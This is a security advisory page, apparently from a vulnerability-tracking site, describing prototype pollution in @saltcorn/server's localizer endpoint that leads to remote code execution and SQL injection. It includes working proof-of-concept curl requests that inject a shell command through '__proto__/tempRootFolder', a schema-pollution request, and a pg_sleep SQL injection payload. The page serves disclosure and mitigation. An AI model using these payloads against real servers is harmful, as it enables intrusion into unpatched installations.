Alta

@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings

  • Publicada: 03.10.2024
  • Actualizado: 11.10.2026 10:22

Summary

The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:

  • RCE vulnerabilities by polluting the tempRootFolder property
  • SQL injection vulnerabilities by polluting the schema property when using PostgreSQL database.

Details

js
router.post(
  "/localizer/save-string/:lang/:defstring",
  isAdmin,
  error_catcher(async (req, res) => {
    const { lang, defstring } = req.params; // source

    const cfgStrings = getState().getConfigCopy("localizer_strings");
    if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
    else cfgStrings[lang] = { [defstring]: text(req.body.value) };
    await getState().setConfig("localizer_strings", cfgStrings);
    res.redirect(`/site-structure/localizer/edit/${lang}`);
  })
);

PoC

Setup:

  • set SALTCORN_NWORKERS=1 before starting the saltcorn server (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
  • make sure to use PostgresSQL backend
  • login with a user with admin permission

RCE

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.

  • check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
  • pollute the Object.prototype with a tempRootFolder value set to ;echo+"rce"|tee+/tmp/RCE; by sending the following request *** :
bash
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'

visit http://localhost:3000/plugins/new

  • enter the following fields:
    • Name: test
    • Source: git
    • other fields blank
    • click Create
  • you will get an error but the command echo "rce" | tee /tmp/RCE will be executed
  • to verify:
cat /tmp/RCE
rce

The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.

js
class PluginInstaller {
  constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
    [...]
    this.tempRootFolder =
      opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
	 [...]
    this.pckJsonPath = join(this.pluginDir, "package.json");
    this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
    [...]
  }
  [...]
}

SQL Injection

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).

  • visit http://localhost:3000/table to check the page returns some results (no errors)
  • pollute the Object.prototype with a schema value set to " (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
bash
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=\"' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
  • visit again http://localhost:3000/table but this time an SQL error will appear:
syntax error at or near "" order by lower(""

NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--

The SQL injection occurs because after the previous curl request, the schema property is set to ".

js
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
  const { where, values } = mkWhere(whereObj);
  const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
  const sql = `SELECT ${
    selectopts.fields ? selectopts.fields.join(", ") : `*`
  } FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
    selectopts,
    values,
    false
  )}`;
  sql_log(sql, values);
  const tq = await (client || selectopts.client || pool).query(sql, values);

  return tq.rows;
};

*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :

  • open the browser developer console and go to the Network tab
  • visit http://localhost:3000/site-structure/localizer/add-lang
  • add a language (Name: test , Locale: test) and click Save
  • under the Network tab, filter for save-lang and check the request parameters (Headers and Payload/Request tabs)
  • copy the values for connect.sid and _csrf and paste in the curl command above

Impact

Remote code execution (RCE), Sql injection and business logic errors.

Recommended Mitigation

Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @saltcorn/server < 1.0.0-beta.14 1.0.0-beta.14

Referencias

Puntuación CVSS 7.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-1321
Plataforma
npm
Paquete
@saltcorn/server
Publicada
03.10.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-78p3-fwcq-62c2 - CC BY 4.0

Historial de vulnerabilidades: @saltcorn/server

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (9) en el archivo
Entradas en total
9
Primera → última
10.2024 04.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 3
  • Media 4

Divulgaciones por año

  1. 2024: 5
  2. 2025: 0
  3. 2026: 4
Gravedad:
  1. Crítica · 9.9 CVE-2026-41478 < 1.4.6, >= 1.5.0-beta.0, < 1.5.6, >= 1.6.0-alpha.0, < 1.6.0-beta.5 1.4.6, 1.5.6, 1.6.0-beta.5
  2. Alta · 8.2 CVE-2026-40163 < 1.4.5, >= 1.5.0-beta.0, < 1.5.5, >= 1.6.0-alpha.0, < 1.6.0-beta.4 1.4.5, 1.5.5, 1.6.0-beta.4
  3. Crítica · 9.6 ghsa-cr3w-cw5w-h3fj >= 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19
  4. @saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings esta entrada
    Alta · 7.2 ghsa-78p3-fwcq-62c2 < 1.0.0-beta.14 1.0.0-beta.14

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.